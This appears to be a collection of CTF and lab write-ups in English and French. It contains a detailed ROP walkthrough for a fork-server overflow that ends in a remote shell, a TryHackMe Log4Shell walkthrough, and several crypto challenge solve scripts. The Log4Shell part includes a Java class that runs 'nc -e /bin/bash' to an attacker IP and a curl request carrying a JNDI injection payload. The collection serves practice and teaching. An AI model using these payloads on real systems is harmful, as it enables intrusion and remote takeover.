Cake

2023-11-04T00:00:00+00:00
I am the author of this challenge. This MD contains some information about the chall and a detailed explanation of how I expected players to solve it.</p>
Challenge design</h2>
This challenge is run differently than the usual pwn challenges. Pwn challenges often consist of a program that reads and writes stuff to stdin/stdout. The challenge server will wait for TCP connections and, for each TCP connection, it executes the program in a new process with stdin/stdout connected to the client socket.</p>
This challenge is different. Here the program itself is the server. It waits for TCP connections in an infinite loop and, when a connection occurs, it forks itself and the child process is responsible for communicating with the client. We will see that this specific design increases the vulnerability of the server.</p>
You may wonder what the purpose of those lines of code is (at the beginning of the welcome</code> function) :</p>
int</span> a =</span> rand</span>(</span></span></span></span>)</span></span></span>;</span>
</span>int</span> b =</span> rand</span>(</span></span></span></span>)</span></span></span>;</span>
</span>int</span> c =</span> rand</span>(</span></span></span></span>)</span></span></span>;</span>
</span>int</span> d =</span> rand</span>(</span></span></span></span>)</span></span></span>;</span>
</span>int</span> e =</span> rand</span>(</span></span></span></span>)</span></span></span>;</span>
</span>
</span>unsigned</span> int</span> subject_number =</span> (</span>unsigned</span> int</span>)</span></span> (</span>a+</span>b+</span>c+</span>d+</span>e)</span></span> %</span> 1000</span>;</span>
</span>
</span>char</span> subject_number_string[</span>100</span>]</span></span>;</span>
</span>snprintf</span>(</span></span></span>subject_number_string,</span> 100</span>,</span> "</span>%d</span>"</span></span>,</span> subject_number</span>)</span></span></span>;</span>
</span></code></pre>
Actually this is just a way to force the compiler to use more registers for this function, which is necessary for the binary to include an ROP gadget needed for the attack.</p>
The program is compiled with a modern gcc and without disabling any security. The only compilation flag is -O3</code> to enable optimisations. Yet we will see that we are able to bypass all mitigations and get a remote shell.</p>
The buffer overflow</h2>
The vulnerability is inside the authenticate</code> function, right at the top of the source file.</p>
char</span> password[</span>100</span>]</span></span> =</span> {</span>}</span></span>;</span>
</span>
</span>char</span> *</span>password_pointer =</span> password;</span>
</span>char</span> input_char;</span>
</span>
</span>while</span>(</span>1</span>)</span></span>{</span>
</span></span>    ssize_t</span> read_return =</span> read</span>(</span></span></span>file_descriptor,</span> &</span>input_char,</span> 1</span></span></span>)</span></span></span>;</span>
</span></span>    if</span> (</span>read_return <=</span> 0</span> ||</span> input_char ==</span> '</span>\n</span>'</span></span>)</span></span> {</span>
</span></span></span>        break</span>;</span>
</span></span></span>    }</span></span>
</span></span>    *</span>password_pointer =</span> input_char;</span>
</span></span>    password_pointer++</span>;</span>
</span></span>}</span></span>
</span></code></pre>
This code will read data from the socket byte by byte, in an infinite loop, and write it in the password</code> buffer. We only exit the loop when a \n</code> is received (or if the socket is closed), there is nothing that checks that the received data fits inside password</code>. Thus, we can do a buffer overflow on the stack.</p>
However, as the modern mitigations are present, this is not trivial to exploit. We will face the following obstacles :</p>

The stack canary is here to prevent us from overwriting the return address of the function</li>
Even if we manage to bypass the canary, ASLR is enabled and the program is PIE, so we have no idea what to write at the return address location</li>
Even if we bypass ASLR, the stack is not executable and, more generally, all the executable areas of the process memory are read only</li>
</ul>
Let see how to bypass all of this and get a shell.</p>
The stack layout</h2>
To understand what we are overwriting when we trigger the overflow, let's attach gdb to the process and draw the interesting part of the stack.</p>
Each line is 8 bytes. The small addresses are at the top, the big addresses are at the bottom.</p>
name</th> value</th></tr></thead>

password buffer</td> </td></tr>
password buffer</td> </td></tr>
password buffer</td> </td></tr>
password buffer</td> </td></tr>
password buffer</td> </td></tr>
password buffer</td> </td></tr>
password buffer</td> </td></tr>
password buffer</td> </td></tr>
password buffer</td> </td></tr>
password buffer</td> </td></tr>
password buffer</td> </td></tr>
password buffer</td> </td></tr>
password buffer</td> </td></tr>
canary</td> random</td></tr>
</td> </td></tr>
socket file descriptor</td> 4</td></tr>
</td> </td></tr>
</td> </td></tr>
</td> </td></tr>
return address</td> main+451 (main is at a random location because of ASLR)</td></tr>
</tbody></table>
We can see that the compiler inlined the authenticate</code> function inside the welcome</code> function. This explains the fact that the return address goes back directly to main</code>.</p>
Notice the 4</code> value stored in the stack between the canary and the return address. To be honest I don't know exactly why it is there, but this is where the main</code> function stores the file descriptor for the client socket. When we overflow, we will need to preserve this value because otherwise the main</code> function will not correctly send the final "still alive..." message. We will see that this is important.</p>
Bypassing the canary</h2>
The particular server design that I have described above allows us to attack the canary.</p>
In classical pwn challenges, a new instance of the program is run for each TCP connection, with the fork exec</code> system call. exec</code> triggers the initialization of a new process and the choice of new random values for the canary and ASLR. Thus, each time a player connects to the challenge, the process to attack has different random canary and ASLR values.</p>
In this challenge, a new process is fork</code>ed for each TCP connection, but there is no exec</code> as the server itself contains the code to serve clients. When a fork</code> happens, the child process inherits the ASLR layout and the canary value from the parent process. This means that, each time we connect to the challenge, the canary value and ASLR layout will be the same ! (It will only change if the CTF admins restart the challenge).</p>
Although the canary does not change from connection to connection, we still don't know its value. A direct bruteforce is not feasible because the canary is a very large number. The solution ? Brute force byte by byte !</p>
Let say that we want to know the first byte (the low byte) of the canary. We send an overflow that will fill the stack until right before the canary, then we send our guess for the first canary byte.</p>
If our guess is wrong, the canary change will be noticed right before the welcome</code> function returns, and the process will crash. (Notice that we are talking about the child process here, the parent process is not affected and will happily accept subsequent connections). In this case, we will not receive the final "still alive..." message, because it is sent from the main</code> function, after the return of welcome</code>.</p>
If our guess is correct, we will know it because the program will execute normally and we will receive the "still alive..." message.</p>
After having discovered the first canary byte, when can continue with the second, the third, etc. until we know it entirely.</p>
Note that if one of the canary byte happens to be 0x0a</code> (ASCII code for "\n"), then it is impossible to continue the overflow after this value. This is because the vulnerable loop that performs the overflow exits when it encounters a \n</code>. This situation is however quite unlikely.</p>
The canary is 8 bytes long but its low byte is always 0, so we actually have 7 bytes to guess. With an average 128 number of try per byte, this is 7 * 128 = 896 connections in average, which is feasible in less than two minutes (at least when I run the challenge on my computer).</p>
Defeat ASLR of the executable</h2>
Now that we know the canary, we can use the same bruteforce technique to discover the return address value, byte by byte. If we overwrite the return address with an incorrect value, the program crashes when it returns from welcome</code>. Otherwise, it continues correctly and we receive the final message.</p>
For this, our payload will be data to fill the password buffer</code> + canary</code> + data to reach the return address</code> + data that partially overflows the return address</code>.</p>
Beware that, as explained above, we need to make sure that the data that fills the space between the canary and the return address has a 4</code> value at the right location, because otherwise we never receive the "still alive..." message from main</code>.</p>
Another thing to take into account is that if we bruteforce the first byte (the low byte) of the return address, there are a lot of values that wont result in a crash but instead will make us jump in some random location into or near the main</code> function. Because the low byte of the return address is not affected by ASLR (the random offset for the binary location in memory is a multiple of 0x1000), we can just check its value in GDB and use it directly.</p>
So the return address is a pointer, thus 8 bytes long, but we already know the low byte. Also the 2 high bytes are always 0. So this is a 5 bytes bruteforce, 5 * 128 = 640 connections on average.</p>
Now that we know the return address, we can compute the address of the main</code> function, because we know from the stack layout above that the return address is main+451. Even though the position of the functions is randomized because of ASLR, the relative offsets between the functions of the program stay constant. Thus, now we know the address of every function of the executable.</p>
With this knowledge, we can do ROP using gadgets found in the executable.</p>
Defeat ASLR of Libc</h2>
As the program is very small, it does not provide a lot of interesting ROP gadgets. The next step for us is to find the address of the libc</code> file in memory, which contains everything we need to get a shell.</p>
The offset of libc and the offset of the program are two random values that are generated independently, so we can not compute the address of libc</code> from the address of the program.</p>
To get the address of libc</code>, we will do ROP to call the write</code> function in order to send us a libc pointer through the socket. The write</code> function takes three arguments (as this is a 64 bits program, they are passed through registers) :</p>

The file descriptor were the data should be written, in rdi</code>. We want so set it to the file descriptor for the client socket, which is 4.</li>
A pointer to the first byte of the data that will be sent, in rsi</code>. We want to set it to the address of a pointer that points to something in libc.</li>
The number of bytes to send, in rdx</code>. We want to set it to any value larger or equal to 8.</li>
</ul>
Luckily, when we reach the return of welcome</code> and start the ROP execution, rdi</code> already contains the value 4, and rdx</code> contains a value higher than 8. This is due to the fact that the last function call before the return of welcome</code> is the call to write</code> for sending "You are not authorized to access the cake :(\n".</p>
The executable contains a pop rsi; ret</code> gadget that we can use to change the value of rsi</code>. We will set it such that it points to some entry of the GOT (global offset table). The GOT is a data structure that is inside the memory region of the executable, so we know its address. It contains the addresses of the libc functions that the program uses. Let say we set rsi</code> to the address of the GOT entry for the puts</code> function.</p>
We can now send our ROP chain that will call write(4, <address of GOT entry for puts>, <some number higher than 8>)</code>. The first 8 bytes of what we get in return represent the address of the puts</code> function in libc.</p>
As we have access to the exact libc</code> file used by the server (it is provided in the challenge files), we can now use the puts</code> pointer to compute the base address of libc</code> in memory, and thus we know the address in memory of everything that libc contains.</p>
Get a shell</h2>
Now that we know the address of libc</code>, we can call any of its functions in our ROP chains. As libc</code> contains a lot of gadgets, we can also freely change the argument register values before calling a function.</p>
There is one last obstacle in our way. If we directly open a shell (by executing system("/bin/sh")</code>), the shell will expect data from stdin and print output to stdout. Stdin and stdout are connected to the terminal of the server, so this will open a shell in the terminal of the computer that runs the challenge, which would be useless for us. We need a way to make the input / output of the shell go through the TCP socket to us.</p>
The good news is that there exists a libc</code> function that does exactly that : the function dup2</code>. It takes two file descriptors as arguments, and makes the second file descriptor point to the file connected to the first file descriptor. Here the "file" is the TCP socket. The file descriptor for stdin is 0, the file descriptor for stdout is 1 and the file descriptor for the client socket is 4. So we want to call dup2(4, 0)</code> and dup2(4, 1)</code>, which will connect both stdin and stdout to the socket.</p>
Finally, for calling system("/bin/sh")</code> we need a pointer to a "/bin/sh" string. Very conveniently, libc</code> contains this string, and because we can compute the address of everything inside libc</code>, we know its address.</p>
To recapitulate, we build a ROP chain that :</p>

Sets rdi</code> to 4</li>
Sets rsi</code> to 0</li>
Calls dup2</code></li>
Sets rdi</code> to 4</li>
Sets rdi</code> to 1</li>
Calls dup2</code></li>
Sets rdi</code> to the address of the "/bin/sh" string in libc</li>
Calls system</code></li>
</ul>
And now we have a shell, where we can type cat flag.txt</code> and get the flag in return !</p>
Note about the unlikely situation where the attack is infeasible</h2>
As explained in the part about the canary, if any byte of the canary is 0x0a</code>, the attack is infeasible. There is the same situation with the return address.</p>
As the canary contains 7 random bytes and the random part of the return address is 5 bytes long, the probability for this to happen is 1  - (255/256)^12, which is around 5%. This is why it is important to test that the attack works and restart the server if it doesn't.</p>


Solar
2021-12-15T00:00:00+00:00
Writeup de la room "Solar"</h2>
Lien: https://tryhackme.com/room/solar</p>
Docker: sudo docker run -it --name "Kali" -p 1234:1234 -p 8000:8000 -p 1389:1389 kalilinux/kali /bin/bash </code></strong></p>
Installer toutes les dépendances:</p>
cd</span></span> home</span>
</span>apt</span></span> update</span>
</span>apt</span></span> install -</span>y</span> netcat-traditional python3 curl wget git maven nano vim</span>
</span>wget</span></span> https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u312-b07/OpenJDK8U-jdk_x64_linux_hotspot_8u312b07.tar.gz</span>
</span>tar</span></span> xzf OpenJDK8U-jdk_x64_linux_hotspot_8u312b07.tar.gz </span>
</span>echo</span></span> '</span>export PATH=$PWD/jdk8u312-b07/bin:$PATH'</span></span> >></span> .bashrc</span>
</span>git</span></span> clone https://github.com/mbechler/marshalsec</span>
</span>cd</span></span> marshalsec</span>
</span>mvn</span></span> clean package -</span>DskipTests</span></span>
</span></code></pre>
Lancer le serveur LDAP</p>
java</span></span> -</span>cp</span> target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "</span>http://10.9.77.76:8000/#Exploit	
</span></span></span></code></pre>
Créer le reverse shell</p>
cd</span></span> ~</span></span></span>
</span>mkdir</span></span> exploit</span>
</span>cd</span></span> exploit</span>
</span>nano</span></span> Exploit.java #</span></span> puis insérer le code ci-dessous</span>
</span></span></span>javac</span></span> Exploit.java</span>
</span></code></pre>public</span> class</span> Exploit</span></span> {</span>
</span></span></span></span>    static</span> {</span>
</span></span></span></span></span>        try</span> {</span>
</span></span></span></span></span></span>            java</span>.</span>lang</span>.</span>Runtime</span></span>.</span>getRuntime</span>(</span>)</span></span>.</span>exec</span>(</span>"</span>nc -e /bin/bash 10.9.77.76 1234"</span></span>)</span></span>;</span>
</span></span></span></span></span></span>        }</span></span> catch</span> </span>(</span>Exception</span> e</span>)</span></span></span> {</span>
</span></span></span></span></span></span>            e.</span>printStackTrace</span>(</span>)</span></span>;</span>
</span></span></span></span></span></span>        }</span></span>
</span></span></span></span></span>    }</span></span>
</span></span></span></span>}</span></span></span></span>
</span></code></pre>
Lancer le serveur python</p>
python3</span></span> -</span>m</span> http.server</span>
</span></code></pre>
Ouvrir la connexion du reverse shell:</p>
nc -lnvp 1234
</span></code></pre>
Exécuter:</p>
 curl</span></span> '</span>http://10.10.91.84:8983/solr/admin/cores?foo=$\{jndi:ldap://10.9.77.76:1389/Exploit\}'</span></span></span>
</span></code></pre>
Résultat: on a un shell</p>
À noter qu'il n'y a pas de "décoration" du shell au départ, mais qu'on peut quand même exécuter des commandes.</p>
Pour rendre "user-friendly" le shell on peut lancer cette commande:</p>
python3</span></span> -</span>c</span> "</span>import pty; pty.spawn('/bin/bash')"</span></span></span>
</span></code></pre>


Defective RSA
2021-10-27T00:00:00+00:00
Buckeye CTF 2021</h2>
I use whatever exponent I want</code></p>
We are given the file (chall.py).</p>
from</span></span> Crypto</span>.</span>Util</span>.</span>number</span></span> import</span></span></span></span></span> getPrime</span>,</span> inverse</span>,</span> bytes_to_long</span></span>
</span>
</span>e</span></span> =</span> 1440</span>
</span>
</span>p</span></span> =</span> getPrime</span></span></span></span>(</span>1024</span>)</span></span>
</span>q</span></span> =</span> getPrime</span></span></span></span>(</span>1024</span>)</span></span>
</span>n</span></span> =</span> p</span></span> *</span> q</span></span>
</span>
</span>flag</span></span> =</span> b</span>"</span></span></span>buckeye{???????????????????????????????}"</span></span></span>
</span>c</span></span> =</span> pow</span></span></span></span>(</span>bytes_to_long</span></span></span></span>(</span>flag</span></span>)</span></span>,</span> e</span></span>,</span> n</span></span>)</span></span>
</span>
</span>print</span></span></span></span>(</span>f</span>"</span></span></span>e = </span>{</span>e</span></span></span></span>}</span></span>"</span></span></span>)</span></span>
</span>print</span></span></span></span>(</span>f</span>"</span></span></span>p = </span>{</span>p</span></span></span></span>}</span></span>"</span></span></span>)</span></span>
</span>print</span></span></span></span>(</span>f</span>"</span></span></span>q = </span>{</span>q</span></span></span></span>}</span></span>"</span></span></span>)</span></span>
</span>print</span></span></span></span>(</span>f</span>"</span></span></span>c = </span>{</span>c</span></span></span></span>}</span></span>"</span></span></span>)</span></span>
</span>
</span>#</span> e = 1440
</span></span>#</span> p = 108625855303776649594296217762606721187040584561417095690198042179830062402629658962879350820293908057921799564638749647771368411506723288839177992685299661714871016652680397728777113391224594324895682408827010145323030026082761062500181476560183634668138131801648343275565223565977246710777427583719180083291
</span></span>#</span> q = 124798714298572197477112002336936373035171283115049515725599555617056486296944840825233421484520319540831045007911288562132502591989600480131168074514155585416785836380683166987568696042676261271645077182221098718286132972014887153999243085898461063988679608552066508889401992413931814407841256822078696283307
</span></span>#</span> c = 4293606144359418817736495518573956045055950439046955515371898146152322502185230451389572608386931924257325505819171116011649046442643872945953560994241654388422410626170474919026755694736722826526735721078136605822710062385234124626978157043892554030381907741335072033672799019807449664770833149118405216955508166023135740085638364296590030244412603570120626455502803633568769117033633691251863952272305904666711949672819104143350385792786745943339525077987002410804383449669449479498326161988207955152893663022347871373738691699497135077946326510254675142300512375907387958624047470418647049735737979399600182827754
</span></span></code></pre>
This is a basic RSA but e and phi(N) are not coprime so there is no unique decryption of the ciphertext (Similar to the Rabin-crypto system). But since we are given p</code> and q</code>, we can compute the e-rooth of the messages (mod p and mod q) and then use the CRT to find the plaintext. We konw the plaintext starts with buckeye{</code> so this will allow us to identify the flag.</p>
from</span></span> Crypto</span>.</span>Util</span>.</span>number</span></span> import</span></span></span></span></span> long_to_bytes</span></span>
</span>
</span>e</span></span> =</span> 1440</span>
</span>p</span></span> =</span> 108625855303776649594296217762606721187040584561417095690198042179830062402629658962879350820293908057921799564638749647771368411506723288839177992685299661714871016652680397728777113391224594324895682408827010145323030026082761062500181476560183634668138131801648343275565223565977246710777427583719180083291</span>
</span>q</span></span> =</span> 124798714298572197477112002336936373035171283115049515725599555617056486296944840825233421484520319540831045007911288562132502591989600480131168074514155585416785836380683166987568696042676261271645077182221098718286132972014887153999243085898461063988679608552066508889401992413931814407841256822078696283307</span>
</span>c</span></span> =</span> 4293606144359418817736495518573956045055950439046955515371898146152322502185230451389572608386931924257325505819171116011649046442643872945953560994241654388422410626170474919026755694736722826526735721078136605822710062385234124626978157043892554030381907741335072033672799019807449664770833149118405216955508166023135740085638364296590030244412603570120626455502803633568769117033633691251863952272305904666711949672819104143350385792786745943339525077987002410804383449669449479498326161988207955152893663022347871373738691699497135077946326510254675142300512375907387958624047470418647049735737979399600182827754</span>
</span>
</span>rmodp</span></span> =</span> (</span>c</span></span> %</span> p</span></span>)</span></span>.</span></span>nth_root</span></span></span></span>(</span>e</span></span>,</span> all</span>=</span>True</span>)</span></span>
</span>rq</span></span> =</span> (</span>c</span></span> %</span> q</span></span>)</span></span>.</span></span>nth_root</span></span></span></span>(</span>e</span></span>)</span></span>
</span>
</span>for</span> rp</span> in</span></span> rmodp</span></span></span>:</span></span>
</span>    r</span></span> =</span> crt</span></span></span></span>(</span>int</span></span></span></span>(</span>rp</span></span>)</span></span>,</span> int</span></span></span></span>(</span>rq</span></span>)</span></span>,</span> p</span></span>,</span> q</span></span>)</span></span>
</span>    flag</span></span> =</span> long_to_bytes</span></span></span></span>(</span>r</span></span>)</span></span>
</span>
</span>    if</span> b</span>"</span></span></span>buckeye"</span></span></span> in</span> flag</span></span>:</span></span>
</span>        print</span></span></span></span>(</span>flag</span></span>.</span></span>decode</span></span></span></span>(</span>)</span></span>)</span></span>
</span></code></pre>
NOTE</strong>: To be completely correct, we might have to test for all roots of c mod q and not just the first one.</p>
and the flag is buckeye{r0ots_0f_uN1Ty_w0rk_f0r_th1s???}</code></p>


Elliptigo
2021-10-27T00:00:00+00:00
BuckeyeCTF</h2>
We are given an implementation of the 25519 curve and are allowed to give a base point use to generate a private key for AES. Since we can choose the base point (The generator we should try to generate an anomalous curve).</p>
By looking here</a>, we can see there already is some point that have a low order. We can take any and then we can decrypt the message with either (0, 1 the point or the other 5 possibilities).</p>
This gives us the flag buckeye{p01nt5_0f_l0w_0rd3r}</code></p>


Key Exchange
2021-10-27T00:00:00+00:00



Keybase
2021-08-28T00:00:00+00:00
Ce challenge portait sur une attaque avec un Accès à un oracle de chiffrement sur AES-CBC.</p>
N'ayant pas réussi à résoudre ce challenge, vous trouverez en suivant le lien ci-dessous 2 writes-up avec la résolution complète : https://ctftime.org/task/16740</a></p>
Ci-dessous, voici un récapitulatif de la solution</p>
Présentation</h2>
On pouvait envoyait un bloc de 32 bytes à chiffrer à l'oracle. Celui-ci renvoyait</p>

une partie de la clé (14 bytes),</li>
le 1er bloc de texte chiffré (16 bytes)</li>
ainsi qu'une partie du 2ème bloc de texte chiffré (si ma mémoire est bonne)</li>
</ul>
Les 2 bytes manquant de la clé pouvait être brute-forcé car cela fait seulement 2^16 possibilités.</p>
Pour l'IV c'était un peu plus compliqués vu qu'on avait 2^128 possibilités.</p>
La faille résidait dans le fait qu'on pouvait envoyer avec pwntools un message de 32 bytes à 0 (32 * '\0'). Ainsi avant le chiffrement, on avait IV XOR ''\0' ce qui avait pour conséquent que seulement l'IV était chiffré.</p>
Attaque</h3>

Pour toutes les possibilités de clés :

Déchiffrer l'IV chiffré (Ciphertext bloc 1) avec la clé essayé -> on obtient un IV</li>
Il faut stocker la paire IV, Clé. En python une liste contenant des tuples représentant à chaque fois une paire clé - IV.</li>
</ul>
</li>
Pour tous les IV obtenus, déchiffrer le message chiffré du challenge. Si on obtient un mot contenant le terme "flag" dedans => on a alors la bonne combinaison de clé/IV</li>
</ul>
Schéma</h2>
Schéma simplifié du déchiffrement avec un message composé de 32 bytes nulls..</p>

En orange foncé, ce qu'on connait</li>
En clair, ce qu'on connait partiellement</li>
</ul>
</p>


Wolf
2021-08-03T00:00:00+00:00
Not solved during the CTF</strong> :(</p>
For this task we are given the source code and an encryption oracle.</p>
So we can see that the encryption use GCM and that the password is hard-coded. The message are encrypted with the following structure (HEADER|MESSAGE|PADDING)</p>
</p>
My first idea was to recover the nonce as the header is predictable in order to decrypt the message normally.</p>
nonce = ECB_decrypt(plaintext XOR CipherText) - 2
</span></code></pre>
this was not possible as it appears that the library generates a new nonce for the CTR if the nonce is smaller than 12 bytes.</p>
Solution</h2>
As the program reuse the nonce it leaks the XOR of the plaintexts so we just have to ask for one encrypted text, XOR it with the encrypted flag and XOR the result with the known plain text.</p>
a</span></span> =</span> xor</span></span></span></span>(</span>bytes</span></span>.</span></span>fromhex</span></span></span></span>(</span>'</span></span></span>7c02c166645f83517e842bafef2572736ec1922599cceebaf218d991ad5853c40b81e0f3c70ef39bb22cb113ea9ae4ec05aae0dd495e6181cd98740ef1a1c1c70dd9888ca46aaaeeccc898c75268f8cfec09c8fa0060ff0c5c1e7125c279c24d'</span></span></span>)</span></span>,</span>
</span></span>             bytes</span></span>.</span></span>fromhex</span></span></span></span>(</span>'</span></span></span>7c02c166645f83517e842bafef2572746ee0b313bdd5d387cf25ccc3a34c54f536bcddcec658ffa68f118c13eda7d9d138ace3d1125971d3daa94933cc9cd79530e4b5b1b63ba7fcc2efa5fa6f55bb8caf4a8bb91f3fa05303412e7a9d269d129c5ca2904a34cb19c2d8172f163598ded98481a43db9d7701d4e148c1a803efc'</span></span></span>)</span></span>)</span></span>
</span>
</span>    b</span></span> =</span> xor</span></span></span></span>(</span>b</span>'</span></span></span>\x00</span>'</span></span></span>*</span>16</span>+</span>b</span>'</span></span></span>\n</span>bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'</span></span></span>+</span>b</span>'</span></span></span>='</span></span></span>+</span>b</span>'</span></span></span>\x00</span>'</span></span></span>,</span> a</span></span>)</span></span>
</span>    print</span></span></span></span>(</span>b</span></span>)</span></span>
</span></code></pre>
and the flag is</p>
CCTF{____w0lveS____c4n____be____dan9er0uS____t0____p3oplE____!!!!!!}
</span></code></pre>


Farm
2021-08-01T00:00:00+00:00
Crypto CTF 2021 Writeup Challenge Farm</h1>
For this task, we are given two file: the code and the encrypted flag.</p>
#</span>!/usr/bin/env sage
</span></span>
</span>from</span></span> sage</span>.</span>all</span></span> import</span></span></span></span></span> *</span></span>
</span>import</span> string</span></span>,</span> base64</span></span>,</span> math</span></span></span>
</span>from</span></span> flag</span></span> import</span></span></span></span></span> flag</span></span>
</span>
</span>ALPHABET</span></span> =</span> string</span>.</span>printable</span></span></span>[</span></span>:</span>62</span></span>]</span></span> +</span> '</span></span></span>\\</span>='</span></span></span>
</span>
</span>F</span></span> =</span> list</span></span></span></span>(</span>GF</span></span></span></span>(</span>64</span>)</span></span>)</span></span>
</span>
</span>def</span></span> keygen</span></span></span>(</span></span>l</span>)</span></span>:</span></span>
</span>	key</span></span> =</span> [</span>F</span></span></span>[</span></span>randint</span></span></span></span>(</span>1</span>,</span> 63</span>)</span></span></span>]</span></span> for</span> _</span> in</span></span> range</span></span></span></span>(</span>l</span></span>)</span></span>]</span></span> 
</span>	key</span></span> =</span> math</span></span>.</span></span>prod</span></span></span></span>(</span>key</span></span>)</span></span> #</span> Optimization the key length :D
</span></span>	return</span> key</span></span>
</span>
</span>def</span></span> maptofarm</span></span></span>(</span></span>c</span>)</span></span>:</span></span>
</span>	assert</span> c</span></span> in</span> ALPHABET</span></span>
</span>	return</span> F</span></span></span>[</span></span>ALPHABET</span></span>.</span></span>index</span></span></span></span>(</span>c</span></span>)</span></span></span>]</span></span>
</span>
</span>def</span></span> encrypt</span></span></span>(</span></span>msg</span>,</span> key</span>)</span></span>:</span></span>
</span>	m64</span></span> =</span> base64</span></span>.</span></span>b64encode</span></span></span></span>(</span>msg</span></span>)</span></span>
</span>	enc</span></span>, pkey</span></span> =</span> '</span></span></span>'</span></span></span>, key</span></span>*</span>*</span>5</span> +</span> key</span></span>*</span>*</span>3</span> +</span> key</span></span>*</span>*</span>2</span> +</span> 1</span>
</span>	for</span> m</span> in</span></span> m64</span></span></span>:</span></span>
</span>		enc</span></span> +=</span> ALPHABET</span></span></span>[</span></span>F</span></span>.</span></span>index</span></span></span></span>(</span>pkey</span></span> *</span> maptofarm</span></span></span></span>(</span>chr</span></span></span></span>(</span>m</span></span>)</span></span>)</span></span>)</span></span></span>]</span></span>
</span>	return</span> enc</span></span>
</span>
</span>#</span> KEEP IT SECRET 
</span></span>key</span></span> =</span> keygen</span></span></span></span>(</span>14</span>)</span></span> #</span> I think 64**14 > 2**64 is not brute-forcible :P
</span></span>
</span>enc</span></span> =</span> encrypt</span></span></span></span>(</span>flag</span></span>,</span> key</span></span>)</span></span>
</span>print</span></span></span></span>(</span>f</span>'</span></span></span>enc = </span>{</span>enc</span></span></span></span>}</span></span>'</span></span></span>)</span></span>
</span></code></pre>
enc = 805c9GMYuD5RefTmabUNfS9N9YrkwbAbdZE0df91uCEytcoy9FDSbZ8Ay8jj</code></p>
We can see that the alphabet is mapped to polynomial in GF(64). The encryption is a simple linear substitution of each character of the flag in base64 and can be easily reversed.</p>
Encrypted Char = key * Char
</span></code></pre>
Which can be reversed to</p>
Char = (Encrypted Char) / key
</span></code></pre>
We just need to find the key and for this we can use the fact the flag must begin by CCTF{</code> (Q0NURns=</code> in base 64) to find it because</p>
key = (Encrypted Char) / Char
</span></code></pre>Implementation</h2>
import</span> string</span></span>,</span> base64</span></span>,</span> math</span></span></span>
</span>
</span>ALPHABET</span></span> =</span> string</span>.</span>printable</span></span></span>[</span></span>:</span>62</span></span>]</span></span> +</span> '</span></span></span>\\</span>='</span></span></span>
</span>
</span>F</span></span> =</span> list</span></span></span></span>(</span>GF</span></span></span></span>(</span>64</span>)</span></span>)</span></span>
</span>
</span>enc</span></span> =</span> '</span></span></span>805c9GMYuD5RefTmabUNfS9N9YrkwbAbdZE0df91uCEytcoy9FDSbZ8Ay8jj'</span></span></span>
</span>
</span>def</span></span> maptofarm</span></span></span>(</span></span>c</span>)</span></span>:</span></span>
</span>	assert</span> c</span></span> in</span> ALPHABET</span></span>
</span>	return</span> F</span></span></span>[</span></span>ALPHABET</span></span>.</span></span>index</span></span></span></span>(</span>c</span></span>)</span></span></span>]</span></span>
</span>
</span>inv_F</span></span> =</span> {</span>}</span></span> 
</span>index</span></span> =</span> 0</span>                                                               
</span>for</span> i</span> in</span></span> F</span></span></span>:</span></span> 
</span>    inv_F</span></span></span>[</span></span>i</span></span></span>]</span></span> =</span> index</span></span> 
</span>    index</span></span>+=</span>1</span>
</span>
</span>inv_dict</span></span> =</span> {</span>}</span></span>
</span>index</span></span> =</span> 0</span>
</span>for</span> i</span> in</span></span> ALPHABET</span></span></span>:</span></span> 
</span>     inv_dict</span></span></span>[</span></span>i</span></span></span>]</span></span> =</span> index</span></span> 
</span>     index</span></span>+=</span>1</span>
</span>
</span>key_target</span></span> =</span> F</span></span></span>[</span></span>8</span></span>]</span></span>/</span>maptofarm</span></span></span></span>(</span>'</span></span></span>Q'</span></span></span>)</span></span> #</span> Key used to compute value
</span></span>
</span>
</span>res</span></span> =</span> '</span></span></span>'</span></span></span>                                                                  
</span>for</span> i</span> in</span></span> enc</span></span></span>:</span></span> 
</span>    res</span></span> +=</span> ALPHABET</span></span></span>[</span></span>inv_F</span></span></span>[</span></span>F</span></span></span>[</span></span>inv_dict</span></span></span>[</span></span>i</span></span></span>]</span></span></span>]</span></span>/</span>key_target</span></span></span>]</span></span></span>]</span></span>
</span>
</span>print</span></span></span></span>(</span>base64</span></span>.</span></span>b64decode</span></span></span></span>(</span>res</span></span>)</span></span>)</span></span>
</span></code></pre>
and the flag is CCTF{EnCrYp7I0n_4nD_5u8STitUtIn9_iN_Fi3Ld!}</code></p>


Baby
2021-07-27T00:00:00+00:00
Baby</h1>

n: 228430203128652625114739053365339856393</p>
e: 65537</p>
c: 126721104148692049427127809839057445790</p>
</blockquote>
Lien ctftime pour voir d'autres writeups : https://ctftime.org/writeup/29247</a></p>
Principe</h2>
On peut voir que n est très petit, ce qui sous-entendant qu'il est possible de le factoriser afin de retrouver p et q.</p>
On peut le faire en utilisant SageMath : factor(n)</strong></p>
Une fois p et q obtenue, on peut alors calculer phi(n)

Puis on calcule la clé privée d en utilisant la fonction inverse_mod</em> proposé par Sage</p>
Remarques</h2>
Pour convertir les long en byte, il faut importer la librairie python Crypto.Util.number</p>
from</span></span> Crypto</span>.</span>Util</span>.</span>number</span></span> import</span></span></span></span></span> long_to_bytes</span></span>
</span>d</span></span> =</span> inverse_mod</span></span></span></span>(</span>e</span></span>,</span> phi</span></span>)</span></span>
</span>m</span></span> =</span> c</span></span> ^</span> d</span></span>
</span>m</span></span> =</span> long_to_bytes</span></span></span></span>(</span>m</span></span>)</span></span>
</span>print</span></span></span></span>(</span>"</span></span></span>Decrypted message : "</span></span></span>,</span> m</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>
</span></code></pre>

D'autres équipes ont utilisées l'outil RsaCtfTool :</li>
</ul>
https://github.com/Ganapati/RsaCtfTool</a></p>


Bread-making
2021-07-27T00:00:00+00:00

My parents aren't home! Quick, help me make some bread please...</p>
</blockquote>
Lien ctftime pour récupérer le fichier et voir d'autres writeup :</p>
https://ctftime.org/task/16435</a></p>
Script python utilisé pour résoudre le challenge</p>
from</span></span> pwn</span></span> import</span></span></span></span></span> *</span></span>
</span>
</span>
</span>#</span>where is this place
</span></span>r</span></span> =</span> remote</span></span></span></span>(</span>"</span></span></span>mc.ax"</span></span></span>,</span> 31796</span>)</span></span>;</span>
</span>
